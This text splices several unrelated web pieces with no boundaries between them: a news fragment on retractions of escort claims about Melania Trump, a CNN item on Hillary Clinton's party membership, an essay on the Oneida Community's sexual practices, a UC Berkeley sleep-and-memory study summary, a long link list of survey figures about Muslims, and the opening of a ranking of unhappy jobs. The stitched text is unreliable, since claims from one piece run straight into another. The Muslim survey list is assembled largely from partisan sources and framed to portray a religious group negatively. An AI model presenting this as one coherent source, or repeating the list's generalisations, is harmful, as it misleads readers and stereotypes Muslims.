Harder said all statements suggesting Trump worked as an escort are “100% false, highly damaging to her reputation, and personally hurtful.”
“Outright lying about her in this way exceeds all bounds of appropriate news reporting and human decency,” Harder wrote.
Trump tweeted the Inquisitr and BipartisanReport retractions on Monday. The outlets apologized for repeating the claims.Story highlights Clinton said her near-lifelong membership to the Democratic Party was "important" in the nomination contest
Sanders has never been a member of the Democratic Party
Eau Claire, Wisconsin (CNN) Hillary Clinton wants voters in Wisconsin to know that she has been a Democrat for much of her adult life. Why? Bernie Sanders hasn't been.
Clinton said her near-lifelong membership to the Democratic Party was "important" in the nomination contest while campaigning here on Saturday, two days ahead of Wisconsin's Democratic primary.
"I am also a Democrat and have been a proud Democrat all my adult life," Clinton said. "And I think that is kind of important if we are selecting someone to be the Democratic nominee of the Democratic Party."
Clinton grew up in a Republican household and was briefly a Republican when she went to Wellesley College in 1965. Shortly after arriving on campus, however, Clinton grew more liberal and has been a member of the Democratic Party since her graduation in 1969.
Sanders, however, has never been a member of the Democratic Party and is one of two independents in the United States Senate.
Read MoreWe are wonderful musical instruments; made to give and receive great pleasure in love. —John Humphrey Noyes
In April a year ago I drove north from New York City to visit the Oneida Community Mansion House. It’s certainly one of the most curious museums in America. A redbrick edifice weighed down with cornices, dentils, towers, porticoes, gables, and other oddments of the Victorian architectural imagination, the Mansion House is fronted by a curved drive and sloping lawn, and lacks only a polite scattering of whitewashed Appalachian chairs to complete the picture of a prosperous Victorian resort, or perhaps a genteel insane asylum. The 93,000-square-foot Mansion House was built between 1861 and 1878 to accommodate three hundred men and women united in “complex” marriage, an arrangement invented by the Oneida founder, a defrocked minister named John Humphrey Noyes. Members were encouraged to have sex freely with other members, the only proscription being that they avoid forming “special love,” their term for a monogamous relationship.
The Oneida mansion was designed for the pursuit of love and the encouragement of sexual pleasure. Intercourse, according to Noyes, should be an “innocent and useful communion,” a “joyful act of fellowship,” and a “purely social affair,” comparable to a stroll in the park, a conversation, or a dance, differing from these pursuits only in its superior intensity and beauty. In a society trained to Noyes’ principles, intercourse would take its place among the fine arts. Indeed, it would rank above music, painting, and sculpture, for it combined “the charms and benefits of them all.”
Noyes came from generations of New England aristocracy. His father, John, served a term in Congress as a Vermont representative, and President Rutherford B. Hayes was his first cousin. Portraits on the walls depict a short man with a tight collar, bulging forehead, and determined chin. What these portraits don’t reveal is what his son Theodore, a Yale-educated doctor, would ruefully attest: that his father had been “a man of quite extraordinary attractiveness to women.” Perhaps no leader since Genghis Khan has surrounded himself with such carnal combinations of spirit and sexuality. That a woman might revel in the flesh of man, and man in the flesh of woman, didn’t bother the minister. And he didn’t care if any of the couplings he presided over were legitimized by civil marriage. Noyes was inspired by perfectionism, a distinctly underground Protestant sect that had adopted the almost Buddhist view that a man could reach spiritual perfection before his death, and when he did so the normal laws of man and religion would no longer apply. Noyes could often be seen through the open door of his tower bedroom reading from his favorite work of erotic literature, the King James Bible. The scriptures were replete with lurid couplings of all kinds, and often equated religious grace with the delights of sexual intercourse. They gave ample proof, to Noyes at least, that his most far-out theories about group marriage, birth control, incest, adolescent sexuality, and the virtue of sexual pleasure were divinely sanctioned.
My face looks like a wedding cake left out in the rain. —W.H. Auden, 1967
Upon entering the Mansion House, I passed quickly through bookstore and lobby and into the marrow of the museum. So great is their reverence for the building that, even now, 125 years after the community’s demise, a handful of descendants still live here in apartments set aside for their use. I encountered a few of them walking with difficulty down the corridors that their ancestors had trod so confidently, their heads blessed by halos of white hair that flared in the overhead lights as they passed.
On the second floor I found the reading room, a tall, cool chamber with a wraparound balcony surrounded by a balustrade. On the shelves were bound copies of the popular literary magazines of the day, Harper’s Monthly, Scribner’s, and McClure’s. Oneidans prided themselves on keeping up with the times, and many from the second generation attended Yale and Harvard or the Berklee College of Music. Oneida may have been a cult, but it had no intention of becoming an isolated one. The most distinguished feature of the reading room is a series of small staterooms modeled after those on a steamboat, running around the walls and upstairs in a kind of porch. In these rooms members of the community would meet for an hour or so of intercourse, which they termed “love interviews,” before going off their separate ways to bed. Any woman who wished to have sex with a particular man simply asked through an emissary, and a man who wished to have sex with a woman did the same. The main rule for a “love interview” was that it should be kept short, as Noyes believed it “an excellent rule to leave the table while the appetite is still good.”
Oneida’s success was primarily due to the thrift, genius, and enterprise of its members. In other parts of the museum I viewed bear traps, silk skeins, silverware sets, and precision-engineered airplane parts manufactured by Oneidans. Ralph Waldo Emerson’s proverbial “better mousetrap” was invented at Oneida, and the Victor mousetrap company, which began there, is still in business today. So is the Oneida silverware company, now an international concern, which also started at the Oneida Community—I had passed its squat, castle-like headquarters on the way to the Mansion House. Another innovation, it’s said, was the lazy Susan, the centerpiece of many a dining-room table.
Erotic scene by the edge of a river, India, c. 1900. © Private Collection / Bridgeman Images.
But the glue that held the Oneida Community together and made the love interviews possible was Noyes’ invention of a tantric-like birth-control technique, male continence, which involved the male learning to withhold ejaculation during intercourse. In the early years of their marriage, Noyes’ wife, Harriet, suffered five painful pregnancies, only one of which produced a child—the rest were miscarriages. Noyes was a gentle, caring man, and his first thought was that he must give up having sex with his wife forever, and if that proved impossible, to live apart from her. He greatly enjoyed the pleasures of the marriage bed, however, so he began to hunt for ways to avoid unwanted pregnancy. He rejected condoms, those “tricks of the French voluptuaries,” and rightly banned leaving children out on the hillside as barbarous, though advocated by his favorite philosopher, Plato.
Noyes had a methodical mind. He was in many ways the lawyer he’d trained to be before he quit to become a minister. He noticed that “on the whole, the sweetest and noblest period of intercourse with woman” was at the very beginning, “that first moment of simple presence,” before the “muscular exercise” began. Certainly “every man who has had good sexual experience” would agree with him about that, he thought. What if he stopped at that point, and allowed himself to be content with that “simple presence,” savoring the moment without trying to force a crisis? “Would there be any harm?”
And now Noyes reasoned further. Suppose a man “knowing his own power and limits” should choose not only to enjoy the simple presence, but also the “reciprocal motions,” stopping short of the “final crisis” of ejaculation? Again he asked himself, “Would there be any harm?”
He created a mental picture of the act of intercourse in terms of a skillful boatman rowing on a wide river. Calm ripples spread out all around him, perhaps causing his skiff to rock a bit. His ears could hear the roar of a waterfall downstream, but for now this was not a threat. As long as the oarsman remained in the shallows he could ply his oar with ease and pleasure as long as he wished.
Farther down, though, where the river narrowed, he would enter a set of rapids. But to the skilled boatman the rough waves gave only more pleasure. He could pull and push against the tossing white water, dodging here and there, but the boat would remain safe. Even in the rapids he could dally without danger, enjoying his skill and the heady sensations of rocking and speed.
If Noyes continued downriver, he reasoned, he’d reach a point where he would have to struggle hard with the current or lose control of his craft and plunge over the falls. This would be climax. At this point, Noyes thought, “the skillful boatman may choose.” If his intentions are “propagative,” that is, to produce a child, then so be it: he may as well steer directly for the falls. If “amative” intercourse was his goal, that is, intercourse solely for pleasure and companionship, he was confident that prudence and experience would teach the oarsman how to stay far enough from the falls to get maximum pleasure without the danger of passing the point of no return.
Having brought his thought experiment to its logical end, Noyes decided to try his idea with his wife, Harriet. To his surprise, he found that the “self-control which it requires is not difficult; also that my enjoyment was increased; also that my wife’s experience was very satisfactory, as it had never been before; also that we had escaped the horrors and the fear of involuntary propagation.”
By “very satisfactory” Noyes almost certainly meant that his wife had experienced an orgasm for the first time. It can be intensely erotic to be with a woman who is having an orgasm, even at the cost of not having one yourself. Noyes’ method wasn’t just a primitive form of contraception, although it was effective at that. It transformed the sexual experience for both Victorian men and women. It prolonged and magnified the act of intercourse and promoted a deeper connection between partners, while putting male gratification on the back burner. It placed women’s pleasure and orgasm at the forefront at a time when the scientific establishment had all but denied its existence. Finally, it allowed men and women to choose their partners free from the bonds of monogamous marriage.
The body says what words cannot. —Martha Graham, 1985
How was intercourse accomplished using Noyes’ innovation? In the 1920s, long after the Oneida Community had ceased to be, a sex research pioneer named Robert Latou Dickinson came to the Mansion House to discover exactly that. Dickinson was fascinated with the variety of ways people could make love. Decades before Alfred Kinsey made a habit of taking notes on the erotic lives of everyone he met, Dickinson jotted down thousands of sexual histories. He found an aging grandniece of the founder, a physician named Hilda Herrick Noyes, who was happy to offer details. A bout of amative intercourse would last for an hour or more, she remembered, and the women were particularly happy at the “long play.” Typically, during a “love interview” a woman would lie on her side with one leg cocked while the man entered her from behind. Holding her very much as he might hold a cello, he’d reach his hand around to the front and manipulate her to a climax. At the same time, he refrained from having an orgasm himself. Thus, amative intercourse involved coitus, but the primary stimulation was by hand. The male’s assigned role was as a skilled musician who received his pleasure through the mastery of his instrument and through the vicarious enjoyment of the pleasures he was instilling. Noyes thought the connection profound and spiritual. A follower of Franz Mesmer, the doctor who sometimes caused followers to go into mass orgasms by hooking them up to enormous batteries, Noyes believed sexual intercourse was nothing less than “the interchange of magnetic influences, or conversation of spirits, through the medium of that conjunction.”
To hold a woman closely, flesh to flesh, to feel her pulse and breathing rise, to hear her exhalations and know that she has surrendered to your will, to set off the final detonation with the touch of your finger—these are primarily masculine concerns. But consider this: the women in the Oneida Community were liberated as few Victorian women were. They wore their hair in ambisexual bobs, a style that wasn’t to become popular in the rest of America until the 1920s. They wore long pants or “pantaloons” under their skirts that allowed them to labor alongside men at any job. And they did work—such as editing the community newspaper—that few women of their times were allowed. They were encouraged to be sexual equals, and the children who were born were raised by the community as a whole in nurseries that were staffed as much by men as by women.
Although at Oneida society was highly structured, there’s ample evidence that young and old took full advantage of their sexual freedom. A reasonably popular young woman like Tirzah Miller, Noyes’ niece and favorite lover, might have intercourse two or three times a week and change partners one or two times a month, or more often if she wished.
Eventually I arrived at the large upstairs meeting hall and took a seat in the gloom on one of the long Shaker-like benches. Before me was a tilted platform upon which Oneida residents had once staged entertainments and concerts. The meeting hall may have been set for yet another use. Noyes had been so eager to spread the word about his discoveries that he’d allowed a railroad spur from the nearest town to terminate at the bottom of the Mansion House front lawn. From its cars as many as 1,500 tourists per day would step out. They came to buy traps, canned peaches, and other handiwork; to marvel at the laughing children as they ran to and from school; to see the hard muscles in the arms of the men, who despite years of ejaculatory self-denial were clear-eyed and healthy. But most of all, they came to ogle at the red cheeks and happy smiles of the women, who had partaken of the forbidden fruit of pleasure and could sleep with whichever men they pleased. As dusk fell, tourists were invited to share a meal in the vast dining hall and view musical performances and dramatic plays the talented communards put on the stage of the meeting hall.
A chotgor, or malevolent spirit, Chojin Lama Temple, Ulaanbaatar, Mongolia, c. 1908. © Pictures from History / Bridgeman Images.
Although there’s no evidence Noyes ever went through with this idea, he had planned to make public demonstrations of Oneidan-style amative intercourse on that stage. “We shall never reach heaven until we have conquered shame and can make it a beautiful exhibition,” he confided. He’d thought out the program in some detail. A couple would be chosen from the audience. They would go onstage, where a couch would be on hand, there to disrobe, and then dance and perform other “evolutions” until the man was ready. Such a live demonstration, he thought, would purify all who viewed it, and also “give pleasure to a great many of the older people who now have nothing to do with the matter.” Sitting on my hard wooden bench, I tried to imagine it. Would one be permitted to cry “Hear! Hear!” or perhaps “Encore!” after a stirring performance?
Was the Oneida Community just a oneoff, a freak twist in our nation’s peculiar history? The British novelist Aldous Huxley thought not. Huxley had learned about John Humphrey Noyes and male continence in the 1920s on his first visit to America and remained an enthusiastic fan all of his life. The Oneida Community inspired his last book, Island, about a utopian tropical paradise whose sexually liberated inhabitants practiced intercourse just as the Oneidans did. In every culture and time, he speculated, there has always been a small but energized minority of men and women who deliberately avoided conventional orgasm in order to lengthen and broaden their sexual experience. Huxley attached a strange untitled essay to his book Tomorrow and Tomorrow and Tomorrow that listed other places in history in which “bodily union without orgasm” had been practiced. He mentioned Tantric sexual ritual, the early Gnostics, a heretical medieval Flemish cult called the Adamites, and another medieval group, known as the Cathars, that thrived in northern Italy and southern France, as well as the Romans. In none of these places, Huxley noted, had there been any attempt to throttle sexual pleasure. Just the opposite. Men and women had learned to control their orgasmic states in order to enhance and extend them (although the desire to stem pregnancy certainly played a role). Since religion in those times was less separable from everyday life than it is now, and because sexual feelings are so far beyond the other pleasures one normally experiences, that purest sense of ecstasy and oneness one received from stretching out and even indefinitely delaying orgasm was considered identical to religious ecstasy. Huxley also quoted a passage by D.H. Lawrence—in which his heroine rejects “the white ecstasy of frictional satisfaction” with her lover for something else, “dark and untellable,” in which she gushes like a fountain “with noiseless soft power”—to show that proto-orgasmic states could occur in England, at least among a sexual elite.
If I see something sagging, dragging, or bagging, I’m going to go have the stuff tucked or plucked. —Dolly Parton, 2003
Noyes was well aware that his program of a social order built around sexual pleasure had the potential to shake the world. In fact, that was his intention: to tear down the old and rebuild anew along what William Blake had called the “lineaments of gratified desire.” Generations of radicals, mystics, progressive Catholics, feminists, and libertines were to pass Noyes’ ideas on orgasm control from hand to hand in a sexual underground economy that would parallel the visible “moral” society and stretch into and beyond the twentieth century. When the pill, the sexual revolution, and the women’s liberation movement arrived in the 1960s, a good part of their DNA was derived from Oneida. Even today a burgeoning “slow sex” or “expanded orgasm” movement in California appears to have been directly inspired by Noyes’ sexual amativeness, thanks to a shadowy figure in the 1960s commune movement, Victor Baranco, also known as the “Thug Buddha.”
Baranco was of a type that was to become increasingly familiar in countercultural circles, a charismatic leader who invented his own religious precepts as he went along and incorporated sex at the center of his belief system. A former appliance salesman and the son of a wellknown San Francisco jazz musician, Baranco began buying dilapidated buildings and filling them with followers, whom he called “marks,” a carnival term for easy prey. His revelation occurred while shooting poker chips off the fence of his backyard in suburban Lafayette, outside Oakland. The revelation was of perfection—God’s and humankind’s perfection—that paradise could be found on earth and did not need to be sought in heaven. It seems likely that Baranco had simply stumbled upon the perfectionism of John Humphrey Noyes while seeking practical advice on how to run the twenty or so communal homes he owned. (When I asked members of his surviving Lafayette Morehouse commune whether Baranco had modeled himself on Noyes, they only repeated their leader’s oft-stated boast that he’d “never had an original idea in his life.”)
Cobbled with the epiphany was a sexual technique he called “deliberate orgasm,” or “DO-dating” (as in “do”-ing a woman), which involved manually stimulating a woman or man to the edge of orgasm until he or she reached an ecstatic state, similar to what Huxley had called “bodily union without orgasm,” the magnetic interchange of the Oneidans. Baranco came to regard his sexual research as the center of his enterprises. In the 1970s, he legally incorporated his flagship Morehouse commune as a state-accredited university, and in following decades trained thousands in the techniques of ecstatic orgasm control. From 1976 on he began offering public demonstrations of “a women having a three-hour orgasm,” thus fulfilling Noyes’ dream of turning amative intercourse into a “beautiful exhibition.” Reportedly, at these demonstrations, “students sometimes passed out, fell out of chairs, and pictures fell off walls.”
Noyes kept his communistic utopian community humming in relative harmony for a full generation, long enough so that the children of children were being introduced—at puberty—into the ways and means of sexual amativeness. There were bumps on the road to sexual freedom, as can well be imagined—tempests, piques, pregnancies, infatuations, broken hearts, minor rebellions against Noyes’ paternalistic authority, and midnight races down a hallway after an “accident” to get a syringe. Some Oneidan practices would not be tolerated today, such as the doctrine of “ascending fellowship,” in which young women were almost powerless to turn down requests for sex by middle-aged men of the inner circle—with Noyes himself often claiming the right to be “first husband”—and the practice of keeping mothers from children toward whom they showed too much “sticky” affection. But men and women were for the most part content with their relations. The image of the hedonist mansion house devoted to free love was to have amazing durability in the American imagination.
Eventually, the Oneida Community fell of its own weight. Noyes grew old and his sexual allure faded. A contributing factor was his ill-advised late venture into eugenics. As he matched men and women for procreation, often against their wills, he stirred up needless anguish, prompting his usually loyal niece Tirzah to ask her diary in despair, “Oh! Is he a crazy enthusiast who is just experimenting on human beings?” Perhaps sensing weakness gripping the community, in 1879 a coalition of ministers assembled to have Noyes arrested for sex with minors. He fled to Canada and remained there for the rest of his life, instructing his followers to reinstate monogamous marriage and transform their home into a stockholding corporation. Noyes remained proud of his accomplishments at Oneida, however. Years later he would write, “We made a raid into an unknown country, charted it, and returned without the loss of a man, woman, or child.”Summary: As we age, slow brain waves during non-REM sleep fail to time contact with sleep spindles efficiently, leading to a lessened ability to form new memories correctly, a new study reports.
Source: UC Berkeley.
Like swinging a tennis racket during a ball toss to serve an ace, slow and speedy brainwaves during deep sleep must sync up at exactly the right moment to hit the save button on new memories, according to new UC Berkeley research.
While these brain rhythms, occurring hundreds of times a night, move in perfect lockstep in young adults, findings published today in the journal Neuron show that, in old age, slow waves during non-rapid eye movement (NREM) sleep fail to make timely contact with speedy electrical bursts known as “spindles.”
“The mistiming prevents older people from being able to effectively hit the save button on new memories, leading to overnight forgetting rather than remembering,” said study senior author Matthew Walker, a UC Berkeley professor of neuroscience and psychology and director of the campus’s Center for Human Sleep Science.
“As the brain ages, it cannot precisely coordinate these two deep-sleep brain waves,” Walker added. “Like a tennis player who is off their game, they’re swiping and missing.”
In tennis lingo, for example, the slow brainwaves or oscillations represent the ball toss while the spindles symbolize the swing of the racket as it aims to make contact with the ball and serve an ace.
“Timing is everything. Only when the slow waves and spindles come together in a very narrow opportunity time window (approximately one-tenth of a second), can the brain effectively place new memories into its long-term storage,” said study lead author Randolph Helfrich, a postdoctoral fellow in neuroscience at UC Berkeley
Moreover, researchers found that the aging brain’s failure to coordinate deep-sleep brainwaves is most likely due to degradation or atrophy of the medial frontal cortex, a key region of the brain’s frontal lobe that generates the deep, restorative slumber that we enjoy in our youth.
“The worse the atrophy in this brain region of older adults, the more uncoordinated and poorly timed are their deep-sleep brainwaves,” Walker said. “But there is a silver lining: Sleep is now a new target for potential therapeutic intervention.”
To amplify slow waves and get them into optimal sync with spindles, researchers plan to apply electrical brain stimulation to the frontal lobe in future experiments.
“By electrically boosting these nighttime brainwaves, we hope to restore some degree of healthy deep sleep in the elderly and those with dementia, and in doing so, salvage aspects of their learning and memory,” Walker said.
For the study, researchers compared the overnight memory of 20 healthy adults in their 20s to that of 32 healthy older adults, mostly in their 70s. Before going to bed for a full night’s sleep, participants learned and were then tested on 120 word sets.
As they slept, researchers recorded their electrical brain-wave activity using scalp electroencephalography (EEG). The next morning, study participants were tested again on the word pairs, this time while undergoing functional and structural magnetic resonance imaging (fMRI) scans.
The EEG results showed that in older people, the spindles consistently peaked early in the memory-consolidation cycle and missed syncing up with the slow waves.
Moreover, brain imaging showed grey matter atrophy in the medial frontal cortex of older adults, which suggests that deterioration within the frontal lobe prevents deep slow waves from perfectly syncing up with spindles.
About this neuroscience research article
In addition to Walker and Helfrich, Robert Knight and William Jagust at UC Berkeley and Bryce Mander, now at UC Irvine, are co-authors of the study.
Source: Yasmin Anwar – UC Berkeley
Publisher: Organized by NeuroscienceNews.com.
Image Source: NeuroscienceNews.com images are credited to Matthew Walker/ UCB.
Original Research: Abstract for “Old Brains Come Uncoupled in Sleep: Slow Wave-Spindle Synchrony, Brain Atrophy, and Forgetting” by Randolph F. Helfrich, Bryce A. Mander, William J. Jagust, Robert T. Knight, Matthew P. Walker in Neuron. Published online December 14 2017 doi:10.1016/j.neuron.2017.11.020
Cite This NeuroscienceNews.com Article
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Chicago UC Berkeley “Offbeat Brain Rhythms During Sleep Make Older Adults Forget.” NeuroscienceNews. NeuroscienceNews, 15 December 2017.
<http://neurosciencenews.com/sleep-brainwaves-memory-8194/>. UC Berkeley (2017, December 15). Offbeat Brain Rhythms During Sleep Make Older Adults Forget. NeuroscienceNews. Retrieved December 15, 2017 from http://neurosciencenews.com/sleep-brainwaves-memory-8194/ UC Berkeley “ |
http://www.civitas.org.uk/pdf/ShariaLawOrOneLawForAll.pdf Policy Exchange: Up to 52% of British Muslims believe a Muslim man is entitled to up to four wives
http://www.civitas.org.uk/pdf/ShariaLawOrOneLawForAll.pdf Policy Exchange: 61% of British Muslims want homosexuality punished
http://www.civitas.org.uk/pdf/ShariaLawOrOneLawForAll.pdf NOP Research: 62% of British Muslims do not believe in the protection of free speech;
Only 3% adopt a "consistently pro-freedom of speech line"
http://www.cbsnews.com/stories/2006/08/14/opinion/main1893879.shtml&date=2011-04-06
http://www.webcitation.org/5xkMGAEvY ICM Poll: 58% of British Muslims believe insulting Islam should result in criminal prosecution
http://www.danielpipes.org/blog/2005/07/more-survey-research-from-a-british-islamist Pew Global (2006): Only 7% of British Muslims think of themselves as British first (81% say 'Muslim' rather than 'Briton')
http://pewglobal.org/reports/pdf/254.pdf Policy Exchange (2006): 31% Muslims in Britain identify more with Muslims in other countries than with non-Muslim Brits.
http://www.policyexchange.org.uk/images/publications/living%20apart%20together%20-%20jan%2007.pdf BBC (2007) 74% of young Muslims prefer women wear the veil (compared to 28% of those over 55).
http://news.bbc.co.uk/2/hi/6309983.stm Die Welt (2012): 46% of Muslims in Germany hope there will eventually be more Muslims than Christians in Germany.
http://www.welt.de/politik/deutschland/article108659406/Tuerkische-Migranten-hoffen-auf-muslimische-Mehrheit.html Ipsos MORI: Muslims are 3 times as likely as Christians to believe that their religion is the only way.
http://www.christiantoday.com/article/religion.still.matters.global.survey.finds/28257.htm Pew Research (2011): Muslim-Americans four times more likely to say that women should not work outside the home.
http://www.people-press.org/2011/08/30/section-5-political-opinions-and-social-values/ Pew Research (2007): 26% of Muslim-Americans want to be distinct (43% support assimilation)
http://www.pewresearch.org/files/old-assets/pdf/muslim-americans.pdf Pew Research (2011): 20% of Muslim-Americans want to be distinct (56% support assimilation)
http://www.people-press.org/2011/08/30/muslim-americans-no-signs-of-growth-in-alienation-or-support-for-extremism/ Pew Research (2011): 49% of Muslim-Americans say they are "Muslim first" (26% American first)
http://www.people-press.org/2011/08/30/muslim-americans-no-signs-of-growth-in-alienation-or-support-for-extremism/ Pew Research (2011): 21% of Muslim-Americans say there is a fair to great amount of support for Islamic extremism in their community.
http://www.people-press.org/2011/08/30/section-6-terrorism-concerns-about-extremism-foreign-policy/ ICM Poll: 11% of British Muslims find violence for political ends acceptable
http://www.danielpipes.org/blog/2005/07/more-survey-research-from-a-british-islamist Wenzel Strategies (2012): 58% of Muslim-Americans believe criticism of Islam or Muhammad is not protected free speech under the First Amendment.
45% believe mockers of Islam should face criminal charges (38% said they should not).
12% of Muslim-Americans believe blaspheming Islam should be punishable by death.
43% of Muslim-Americans believe people of other faiths have no right to evangelize Muslims.
32% of Muslims in America believe that Sharia should be the supreme law of the land.
http://www.andrewbostom.org/blog/2012/10/31/sixty-percent-of-us-muslims-reject-freedom-of-expression/
http://www.answeringmuslims.com/2012/10/poll-nearly-half-of-us-muslims-believe.html Pew Research (2013): "At least half' of Muslims surveyed believed polygamy is morally acceptable.
"Muslims in most countries surveyed say that a wife should always obey her husband." (including 93% in Indonesia and 65% in Turkey).
Only 32% of Muslims in Indonesia say a woman should have the right to divorce her husband (22% in Egypt, 26% in Pakistan and 60% in Russia).
http://www.pewforum.org/uploadedFiles/Topics/Religious_Affiliation/Muslim/worlds-muslims-religion-politics-society-full-report.pdf Die Presse (2013): 1 in 3 Muslims in Austria say it is not possible to be a European and a Muslim. 22% oppose democracy
http://muslimstatistics.wordpress.com/2013/12/03/survey-on-islam-in-austria-18-of-muslims-support-death-sentence-for-apostasy-21-9-oppose-democracy/ WZB Berlin Social Science Center: 45% of Muslims in Europe say Jews cannot be trusted.
http://www.gatestoneinstitute.org/4092/europe-islamic-fundamentalism Vancouver Sun (2015): 42% of Canadian Muslims agree that Islam is "irreconcilable" with the West.
http://www.israelnationalnews.com/News/News.aspx/193969 Anti-Defamation League (2015): 55% of Muslims in Europe are anti-Semitic - approximately three times higher than Europeans in general.
http://www.algemeiner.com/2015/06/30/adl-poll-shows-more-than-half-of-western-european-muslims-harbor-antisemitic-beliefs/# Middle East Forum (2015): Muslims comprise less than 1% of the population in the United States but 9% of prison inmates.
http://www.meforum.org/blog/2015/08/islam-prison Middle East Forum (2015): Muslims in France comprise 12% of the population, but 70% of prisoners.
http://www.washingtonpost.com/wp-dyn/content/article/2008/04/28/AR2008042802560.html
(Other reports range from 40-60%: http://www.economist.com/news/europe/21707230-should-jails-segregate-jihadists-caged-fervour) Middle East Forum (2015): Muslims in the Netherlands comprise 4% of the population but 20% of prisoners. Muslims in France comprise 10% of the population, but 70% of prisoners.
http://www.meforum.org/blog/2015/08/islam-prison 2016 (Sun News): Muslims comprise 5% of population in Britain but 20% of High Security inmates
http://www.thesun.co.uk/sol/homepage/news/6884172/One-in-five-danger-lags-is-a-muslim.html 2016 (The Economist): Muslims comprise 5% of population in Britain but 15% of general prison inmates
http://www.thesun.co.uk/sol/homepage/news/6884172/One-in-five-danger-lags-is-a-muslim.html ICM Poll (2016): 31% of British Muslims believe polygamy is acceptable. 18% believe homosexuality should remain legal.
http://www.dailymail.co.uk/news/article-3532355/More-half-Muslims-want-gay-sex-outlawed-nearly-quarter-support-areas-UK-run-sharia-law.html 35% of prisoners in Belgium are Muslim, compared with 6% of the general population.
http://www.bbc.com/news/world-europe-36348389 University of Munster Study (2016): 32% of Turks living in Germany say that "Muslims should strive to a societal order like than in the time of Muhammad."
http://www.gatestoneinstitute.org/8321/germany-turks-integration Institut Montaigue (2016): 1 in 4 French Muslims support wearing the full burka. 80% support halal options in public schools.
http://www.express.co.uk/news/world/711899/One-in-four-French-Muslims-SUPPORT-full-face-veil EEOC (2015): Muslims in the United States make up 1% of the population but 40% of workplace discrimination complaints.
http://www.bloomberg.com/news/articles/2016-07-19/making-u-s-workplaces-safe-for-muslims-and-deterring-lawsuits
National Centre for Scientific Research (2017): 32% of young Muslims in France adhere to 'fundamentalist views.' 33% believe violence for 'ideological' goals is acceptable. 24% of young Muslims do not condemn the Charlie Hebdo massacre, and 21% do not condemn the Bataclan massacre.
http://www.westmonster.com/french-establishment-delay-bombshell-extremism-report-until-after-election/
http://www.breitbart.com/london/2017/03/21/study-third-muslim-france-fundamentalist/
https://lejournal.cnrs.fr/nos-blogs/face-au-terrorisme-la-recherche-en-action/une-vaste-enquete-sur-la-radicalite-chez-les/
UN-Women "Understanding Masculinities" Study (2017): 70% of Egyptian men and 56% of Egyptian women say that continued practice of female genital mutilation (FGM) is important.
http://www.cnsnews.com/news/article/patrick-goodenough/young-arab-men-just-rigid-elders-gender-equality-views-survey-finds
http://imagesmena.org/wp-content/uploads/sites/5/2017/04/IMAGESMENA-2017-FULL-Final.pdf UN Women "Understanding Masculinities" (2017): Only 45% of Egyptian men and 70% of women believe there should be laws criminalizing domestic violence. 62% of men in Morocco say that a wife should tolerate violence to keep the family together. 38% of men and 20% of Moroccan women say that there are times when a wife should be beaten.
http://imagesmena.org/wp-content/uploads/sites/5/2017/04/IMAGESMENA-2017-FULL-Final.pdf
http://www.secularism.org.uk/news/2017/05/survey-finds-deeply-regressive-views-of-women-among-large-majorities-of-muslim-men UN Women "Understanding Masculinities" (2017): Only 6% of Muslim men and 2% of Muslim women would "have no problem" marrying someone from a different religion.
http://imagesmena.org/wp-content/uploads/sites/5/2017/04/IMAGESMENA-2017-FULL-Final.pdf
http://www.secularism.org.uk/news/2017/05/survey-finds-deeply-regressive-views-of-women-among-large-majorities-of-muslim-men UN Women "Understanding Masculinities" (2017): 60% of men in Morocco say that if a woman is raped, she should marry her rapist.
http://imagesmena.org/wp-content/uploads/sites/5/2017/04/IMAGESMENA-2017-FULL-Final.pdf
http://www.secularism.org.uk/news/2017/05/survey-finds-deeply-regressive-views-of-women-among-large-majorities-of-muslim-men Hanns Seidel Foundation (2017): Over 50% of Muslim asylum seekers hold anti-Semitic views. 2.7% openly support religious violence.
https://sputniknews.com/politics/201706061054341443-over-half-muslim-refugees-antisemitic/
http://www.breitbart.com/london/2017/06/05/bavarian-study-migrants-are-largely-patriarchal-anti-semitic-and-religious/ Social Mobility Commission (2017): Only 18% of Muslims in Britain Hold Jobs
https://www.thesun.co.uk/news/4411913/just-one-in-five-muslims-are-in-work-as-report-finds-they-are-held-back-by-racism/ Blair Institute for Global Change (2017): 77% of British terrorists belonged to non-violent Islamic groups prior to joining terror group.
http://www.dailymail.co.uk/news/article-4936642/Most-British-jihadists-links-non-violent-Islamists.html
https://www.thetimes.co.uk/article/tony-blair-institute-finds-that-non-violent-islamist-groups-serve-as-recruitment-pool-for-jihadists-rbvlrp6df
Jewish Policy Research (2017): 55% of Muslims in the UK hold anti-Semitic attitudes (twice the average of all other groups). Religious Muslims are more likely to be anti-semitic than non-religious. Muslims are four times more likely to say that the Holocaust is a myth.
http://www.breitbart.com/london/2017/09/13/report-anti-semitic-attitudes-higher-amongst-muslims-britain/
http://www.jpr.org.uk/documents/JPR.2017.Antisemitism_in_contemporary_Great_Britain.pdf (2016) 33% of Belgian Muslims "don't like Western culture." 59% would condemn the marriage if their child chose a non-Muslim partner.
http://www.cecinestpasunecrise.org/content/uploads/2017/05/Noir-Jaune-Blues-Rapport-denquete-complet-Dec-2016-.pdf
https://www.gatestoneinstitute.org/11782/europe-islam-polls
Dutch Government Report (2018): 2/3 of Muslims in the Netherlands are from Morocco or Turkey. Only 7% of Turkish Muslims and 2% of Moroccan Muslims are secular. The study shows Muslims becoming more religious over time.
https://www.scp.nl/Nieuws/Moslims_steeds_religieuzer
https://www.gatestoneinstitute.org/12619/europe-islamic-state
University of Vienna (2017): Half of Afghan asylum seekers say that they have become more religious since arriving in Europe. 52% say that the'supremacy of Islam' is undisputed.
https://www.graz.at/cms/dokumente
https://www.gatestoneinstitute.org/12619/europe-islamic-state International Men and Gender Equality Survey by UN Women (2017: In Egype, 74% of men and 84% of women say that women who "dress provocatively deserve to be harassed." 40% of men and 43% of women say women who are in public places at night are "asking to be harassed."
https://www.undispatch.com/men-harass-women-street-new-un-study-offers-explanation/
https://promundoglobal.org/2017/05/02/men-in-the-middle-east-and-north-africa-mena-at-a-crossroads-reveals-ground-breaking-multi-country-study-on-the-state-of-gender-equality-in-the-region/If you happily get out of bed every morning for work, you're one of the lucky ones — not everyone is satisfied with their current job.
These people feel stuck for a variety of reasons, including low pay, irregular hours or the inability to move upward, says a report published by CareerBliss.
The company identified the unhappiest jobs based on more than 100,000 employee-generated reviews between February 2011 and January 2012.
The ratings are based on key factors such as work-life balance, one's relationship with their boss and co-workers, their work environment, job resources, compensation, growth opportunities, company culture, company reputation, daily tasks, and control over the work that they do daily.
Here are the top 10 jobs that make workers' lives miserable.
1. Security Officer
Average salary:
$29,641
Bliss Score: 3.510/5
